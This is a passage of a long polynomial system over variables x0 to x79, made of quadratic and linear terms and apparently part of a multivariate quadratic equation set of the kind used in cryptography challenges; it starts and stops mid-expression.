x15 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x23 + x16*x25 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x36 + x16*x39 + x16*x48 + x16*x49 + x16*x51 + x16*x52 + x16*x56 + x16*x60 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x72 + x16*x75 + x16*x76 + x16*x78 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x27 + x17*x28 + x17*x29 + x17*x32 + x17*x33 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x43 + x17*x46 + x17*x48 + x17*x49 + x17*x51 + x17*x53 + x17*x55 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x67 + x17*x72 + x17*x75 + x17*x79 + x17 + x18*x19 + x18*x21 + x18*x23 + x18*x24 + x18*x27 + x18*x28 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x38 + x18*x40 + x18*x42 + x18*x45 + x18*x47 + x18*x48 + x18*x51 + x18*x52 + x18*x56 + x18*x57 + x18*x58 + x18*x61 + x18*x62 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x74 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x47 + x19*x48 + x19*x51 + x19*x52 + x19*x54 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x63 + x19*x64 + x19*x67 + x19*x68 + x19*x73 + x19*x75 + x19*x76 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x35 + x20*x36 + x20*x38 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x48 + x20*x50 + x20*x52 + x20*x56 + x20*x57 + x20*x62 + x20*x63 + x20*x64 + x20*x67 + x20*x68 + x20*x71 + x20*x72 + x20*x73 + x20*x77 + x20*x79 + x20 + x21*x22 + x21*x23 + x21*x30 + x21*x33 + x21*x34 + x21*x35 + x21*x37 + x21*x42 + x21*x44 + x21*x45 + x21*x51 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x63 + x21*x68 + x21*x71 + x21*x74 + x21*x75 + x21*x78 + x21 + x22*x24 + x22*x26 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x37 + x22*x39 + x22*x41 + x22*x42 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x52 + x22*x58 + x22*x60 + x22*x64 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x30 + x23*x31 + x23*x33 + x23*x35 + x23*x37 + x23*x39 + x23*x42 + x23*x46 + x23*x49 + x23*x50 + x23*x53 + x23*x56 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x68 + x23*x71 + x23*x72 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x24*x26 + x24*x28 + x24*x31 + x24*x32 + x24*x39 + x24*x40 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x62 + x24*x64 + x24*x65 + x24*x66 + x24*x67 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x32 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x44 + x25*x47 + x25*x49 + x25*x52 + x25*x56 + x25*x57 + x25*x62 + x25*x63 + x25*x65 + x25*x69 + x25*x71 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x44 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x57 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26 + x27*x28 + x27*x29 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x43 + x27*x47 + x27*x48 + x27*x49 + x27*x53 + x27*x54 + x27*x57 + x27*x60 + x27*x61 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x35 + x28*x37 + x28*x39 + x28*x40 + x28*x44 + x28*x46 + x28*x47 + x28*x54 + x28*x55 + x28*x62 + x28*x64 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x72 + x28*x73 + x28*x79 + x29*x30 + x29*x33 + x29*x36 + x29*x40 + x29*x43 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x62 + x29*x64 + x29*x65 + x29*x67 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x32 + x30*x34 + x30*x35 + x30*x37 + x30*x38 + x30*x39 + x30*x41 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x65 + x30*x67 + x30*x71 + x30*x72 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x44 + x31*x52 + x31*x53 + x31*x54 + x31*x60 + x31*x61 + x31*x64 + x31*x68 + x31*x72 + x31*x75 + x31*x76 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x38 + x32*x41 + x32*x48 + x32*x49 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x77 + x32*x79 + x33*x34 + x33*x36 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x55 + x33*x59 + x33*x61 + x33*x63 + x33*x65 + x33*x69 + x33*x70 + x33*x71 + x33*x73 + x33*x74 + x33*x77 + x33*x78 + x33 + x34*x36 + x34*x39 + x34*x40 + x34*x43 + x34*x46 + x34*x47 + x34*x50 + x34*x52 + x34*x53 + x34*x58 + x34*x60 + x34*x65 + x34*x67 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34*x79 + x35*x36 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x49 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x61 + x35*x63 + x35*x65 + x35*x68 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x52 + x36*x53 + x36*x57 + x36*x58 + x36*x61 + x36*x62 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x70 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x44 + x37*x47 + x37*x48 + x37*x49 + x37*x51 + x37*x54 + x37*x56 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x74 + x37*x75 + x37*x79 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x46 + x38*x47 + x38*x48 + x38*x51 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x64 + x38*x67 + x38*x68 + x38*x70 + x38*x73 + x38*x74 + x38*x77 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x52 + x39*x54 + x39*x56 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x76 + x39*x77 + x40*x41 + x40*x48 + x40*x50 + x40*x51 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x65 + x40*x68 + x40*x74 + x40*x77 + x40 + x41*x42 + x41*x47 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x69 + x41*x71 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x47 + x42*x48 + x42*x52 + x42*x54 + x42*x56 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x47 + x43*x48 + x43*x55 + x43*x59 + x43*x60 + x43*x62 + x43*x68 + x43*x70 + x43*x72 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x52 + x44*x55 + x44*x56 + x44*x57 + x44*x60 + x44*x63 + x44*x66 + x44*x70 + x44*x71 + x44*x72 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x55 + x45*x60 + x45*x62 + x45*x67 + x45*x68 + x45*x73 + x45*x74 + x45*x75 + x45*x79 + x46*x50 + x46*x52 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x62 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x72 + x46*x74 + x46*x77 + x46 + x47*x51 + x47*x52 + x47*x54 + x47*x57 + x47*x59 + x47*x60 + x47*x62 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x73 + x47*x75 + x47*x79 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x54 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x55 + x49*x61 + x49*x63 + x49*x67 + x49*x68 + x49*x72 + x49*x75 + x49*x78 + x49*x79 + x49 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x66 + x50*x68 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50 + x51*x53 + x51*x56 + x51*x58 + x51*x60 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x51 + x52*x55 + x52*x57 + x52*x58 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x53*x57 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x67 + x53*x68 + x53*x70 + x53*x73 + x53*x78 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x70 + x54*x72 + x54*x73 + x54*x74 + x54*x79 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x67 + x55*x71 + x55*x73 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x56*x58 + x56*x60 + x56*x61 + x56*x62 + x56*x66 + x56*x70 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x67 + x57*x69 + x57*x73 + x57*x77 + x57*x78 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x73 + x58*x75 + x58*x78 + x59*x61 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x72 + x59*x75 + x59*x76 + x59*x77 + x59 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x71 + x60*x72 + x60*x78 + x61*x64 + x61*x67 + x61*x68 + x61*x71 + x61*x76 + x61*x77 + x61 + x62*x63 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x75 + x62*x77 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x69 + x63*x73 + x63*x75 + x63*x77 + x63*x78 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64 + x65*x66 + x65*x68 + x65*x74 + x65*x77 + x65*x79 + x66*x67 + x66*x69 + x66*x75 + x66*x78 + x66*x79 + x67*x68 + x67*x72 + x67*x75 + x68*x69 + x68*x71 + x68*x72 + x68*x74 + x68*x75 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x70 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x76 + x69 + x70*x71 + x70*x72 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x72*x74 + x72*x79 + x73*x74 + x73*x76 + x74*x76 + x74 + x75*x77 + x75*x79 + x77*x79 + 1, x0*x4 + x0*x5 + x0*x9 + x0*x12 + x0*x14 + x0*x18 + x0*x19 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x32 + x0*x36 + x0*x38 + x0*x40 + x0*x43 + x0*x45 + x0*x48 + x0*x50 + x0*x52 + x0*x56 + x0*x57 + x0*x58 + x0*x63 + x0*x65 + x0*x68 + x0*x71 + x0*x72 + x0*x75 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x6 + x1*x8 + x1*x9 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x23 + x1*x26 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x36 + x1*x38 + x1*x40 + x1*x42 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x57 + x1*x64 + x1*x67 + x1*x68 + x1*x71 + x1*x74 + x1*x75 + x1*x78 + x2*x3 + x2*x5 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x19 + x2*x22 + x2*x23 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x38 + x2*x39 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x53 + x2*x55 + x2*x58 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x15 + x3*x21 + x3*x22 + x3*x24 + x3*x31 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x45 + x3*x50 + x3*x51 + x3*x52 + x3*x55 + x3*x56 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x71 + x3*x72 + x3*x74 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x22 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x36 + x4*x38 + x4*x39 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x50 + x4*x55 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + x4*x67 + x4*x68 + x4*x69 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x17 + x5*x18 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x32 + x5*x34 + x5*x39 + x5*x40 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x52 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x79 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x19 + x6*x21 + x6*x26 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x39 + x6*x40 + x6*x42 + x6*x46 + x6*x47 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x60 + x6*x64 + x6*x67 + x6*x71 + x6*x72 + x6*x73 + x6*x79 + x6 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x23 + x7*x25 + x7*x29 + x7*x30 + x7*x35 + x7*x37 + x7*x39 + x7*x40 + x7*x42 + x7*x45 + x7*x49 + x7*x50 + x7*x51 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x72 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x16 + x8*x21 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x41 + x8*x44 + x8*x46 + x8*x47 + x8*x53 + x8*x59 + x8*x60 + x8*x67 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x55 + x9*x56 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x70 + x9*x75 + x9*x77 + x9*x78 + x10*x11 + x10*x14 + x10*x15 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x29 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x40 + x10*x42 + x10*x44 + x10*x47 + x10*x51 + x10*x55 + x10*x58 + x10*x61 + x10*x63 + x10*x67 + x10*x69 + x10*x70 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x17 + x11*x18 + x11*x19 + x11*x20 + x11*x21 + x11*x25 + x11*x28 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x38 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x49 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x60 + x11*x63 + x11*x64 + x11*x67 + x11*x69 + x11*x70 + x11*x71 + x11*x75 + x11*x77 + x11*x78 + x11 + x12*x14 + x12*x17 + x12*x19 + x12*x20 + x12*x22 + x12*x24 + x12*x32 + x12*x33 + x12*x36 + x12*x37 + x12*x39 + x12*x41 + x12*x43 + x12*x44 + x12*x49 + x12*x50 + x12*x56 + x12*x57 + x12*x63 + x12*x64 + x12*x66 + x12*x67 + x12*x68 + x12*x69 + x12*x72 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x13*x14 + x13*x17 + x13*x18 + x13*x24 + x13*x26 + x13*x27 + x13*x30 + x13*x33 + x13*x34 + x13*x35 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x47 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x60 + x13*x63 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x77 + x13*x78 + x14*x16 + x14*x18 + x14*x20 + x14*x23 + x14*x24 + x14*x26 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x35 + x14*x38 + x14*x39 + x14*x40 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x60 + x14*x63 + x14*x66 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x17 + x15*x24 + x15*x28 + x15*x30 + x15*x33 + x15*x35 + x15*x39 + x15*x40 + x15*x47 + x15*x48 + x15*x50 + x15*x52 + x15*x53 + x15*x55 + x15*x57 + x15*x58 + x15*x61 + x15*x63 + x15*x64 + x15*x66 + x15*x67 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x22 + x16*x23 + x16*x27 + x16*x29 + x16*x30 + x16*x32 + x16*x34 + x16*x35 + x16*x39 + x16*x40 + x16*x41 + x16*x43 + x16*x44 + x16*x45 + x16*x48 + x16*x54 + x16*x58 + x16*x61 + x16*x63 + x16*x70 + x16*x71 + x16*x76 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x34 + x17*x35 + x17*x36 + x17*x38 + x17*x39 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x65 + x17*x72 + x17*x73 + x17*x74 + x17*x77 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x29 + x18*x30 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x31 + x19*x32 + x19*x35 + x19*x37 + x19*x39 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x55 + x19*x56 + x19*x59 + x19*x60 + x19*x65 + x19*x68 + x19*x69 + x19*x72 + x19*x73 + x19*x74 + x19*x75 + x19*x78 + x19 + x20*x23 + x20*x24 + x20*x26 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x51 + x20*x55 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x77 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x27 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x40 + x21*x41 + x21*x43 + x21*x44 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x28 + x22*x31 + x22*x34 + x22*x39 + x22*x41 + x22*x44 + x22*x47 + x22*x49 + x22*x50 + x22*x58 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x79 + x22 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x32 + x23*x35 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x60 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x77 + x24*x25 + x24*x27 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x39 + x24*x46 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x61 + x24*x62 + x24*x67 + x24*x71 + x24*x73 + x24*x74 + x24*x75 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x34 + x25*x37 + x25*x41 + x25*x44 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x58 + x25*x59 + x25*x60 + x25*x63 + x25*x67 + x25*x71 + x25*x72 + x25*x73 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x26*x28 + x26*x31 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x49 + x26*x52 + x26*x54 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x72 + x26*x76 + x26*x77 + x26*x79 + x27*x32 + x27*x37 + x27*x39 + x27*x44 + x27*x47 + x27*x49 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x69 + x27*x72 + x27*x73 + x27*x76 + x27*x78 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x49 + x28*x53 + x28*x56 + x28*x57 + x28*x62 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x72 + x28*x74 + x28*x75 + x28*x76 + x28 + x29*x30 + x29*x31 + x29*x33 + x29*x34 + x29*x37 + x29*x42 + x29*x43 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x50 + x29*x53 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x73 + x29*x74 + x29*x77 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x37 + x30*x38 + x30*x42 + x30*x46 + x30*x50 + x30*x51 + x30*x55 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x67 + x30*x70 + x30*x71 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x50 + x31*x52 + x31*x54 + x31*x58 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x67 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x53 + x32*x55 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x65 + x32*x66 + x32*x71 + x32*x75 + x32 + x33*x35 + x33*x41 + x33*x44 + x33*x45 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x68 + x33*x77 + x34*x36 + x34*x37 + x34*x39 + x34*x45 + x34*x50 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x70 + x34*x71 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x35*x36 + x35*x37 + x35*x38 + x35*x43 + x35*x44 + x35*x46 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x66 + x35*x72 + x35*x74 + x35*x76 + x35*x79 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x55 + x36*x56 + x36*x59 + x36*x60 + x36*x62 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x42 + x37*x43 + x37*x44 + x37*x47 + x37*x48 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x78 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x61 + x38*x63 + x38*x67 + x38*x69 + x38*x71 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x49 + x39*x51 + x39*x53 + x39*x56 + x39*x58 + x39*x60 + x39*x62 + x39*x66 + x39*x69 + x39*x70 + x39*x71 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x47 + x40*x49 + x40*x50 + x40*x52 + x40*x56 + x40*x57 